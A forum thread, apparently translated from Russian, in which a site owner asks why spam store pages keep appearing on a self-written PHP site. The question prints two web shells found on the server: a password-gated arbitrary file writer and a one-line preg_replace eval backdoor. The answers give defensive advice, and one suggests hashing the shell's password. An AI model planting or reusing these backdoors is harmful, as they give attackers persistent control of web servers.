Hacking the site, how to understand why this happens?

Question

PHP

I made a website, the fact is that from time to time more than 500 html files of some kind of Chinese online store appear at the root of the site. With what it can be connected? What kind of security flaws does this produce? the site is self-written, it has nothing special in itself, except for articles. The files seem to be uploaded to the server. HTML files of this kind 001_shop_eKxk.html
There are also foreign folders, there I found a php file

<?php
//header("Content-Type: text/html; charset=utf-8");
$config_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$folderpath=$_REQUEST['folderpath'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);

if($password==""||$filename==""||$body=="")
{
    echo 'parameters error!';
    return;
}

if($password!=$config_password)
{
    echo 'password error!';
    return;
}

$rootPath=$_SERVER['DOCUMENT_ROOT'];
$newPath=$rootPath;

if($folderpath!="")
{
  if($folderpath=="root")
  {
    $newPath=$rootPath.'/'.$filename;
  }
  else
  {
    createFolder($rootPath.'/'.$folderpath);
    $newPath=$rootPath.'/'.$folderpath.'/'.$filename;
  }
}
else
{
  $newPath=$filename;
}


$fp=fopen($newPath,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,$body);
fclose($fp);

if(file_exists($newPath))
{
    echo "publish success & uploaded";
}

function createFolder($path) 
{
    if (!file_exists($path))
    {
        createFolder(dirname($path));
        mkdir($path, 0777);
    }
}
?>

or here's another

<?php  preg_replace("/laterain/e", "ev"."al('".$_REQUEST['yt']."')", "laterain testin9"); ?>

Answer 1

https://yandex.ru/promo/manul#about
Use it, check the site for shells and other evil spirits.

Answer 2

There is a wonderful utility aiBolit . I advise them to scan the site (website folder).
1. Perhaps your FTP was broken.
2. the shell was uploaded through some kind of plugin
3. the site that is located on the same server as your site was hacked.

Answer 3

With what it can be connected?

You have been hacked.
Question from the series: "What did I do wrong?".
These can be:
* Access based on popular usernames/passwords
* Stealing the admin password via XSS
* Weakly secure FTP/SFTP
* SQL injections
* Uploaded files have the right to execute
* Uploaded files can be included in the main code
* CMS site with enabled debug mode
* met cases of hacking "from the inside" when the hacker is a colleague
* perhaps the hoster was actually hacked, and you were just unlucky
* open ports of trusted services stick out outside: mysql, memcached, redis,...
* ...
See the logs, maybe it will be useful

Answer 4

Perhaps they break through a neighboring site
. Do you have a hosting or your own VPS / VDS?

Answer 5

$config_password="......"; 
// где .... - md5() от какого-нибудь сложного пароля. что бы по справочникам md5 не найти

if(md5($password) != $config_password)
{ // ....

least

Answer 6

You have been hacked and your site is most likely being used for fraud.
You need to remove all third-party files from the site, ideally it is better to restore it from a backup. Change all passwords and scan files, just in case, for malware.

With what it can be connected? What kind of security flaws does this produce?

Most likely, you configured some of the site components incorrectly. There are many options, here are the main ones:

• File permission misconfiguration (Security Misconfiguration)
  
• Database access vulnerabilities (SQL-Injectionn)
  
• Weak passwords (Brute Force)
  
• Cross Site Scripting (XSS)
  

You should not rule out the possibility of an exploit due to outdated software versions (ssh, ftp) yet.
You need to understand that changing passwords and deleting third-party files is a temporary measure. You will be hacked until you close the security holes in the site. I would recommend using a broad profile scanner that checks the site in all directions at once. Of the online options, there are METASCAN or Acunetix.
And I also advise you to read the PHP security manual https://www.php.net/manual/en/security.php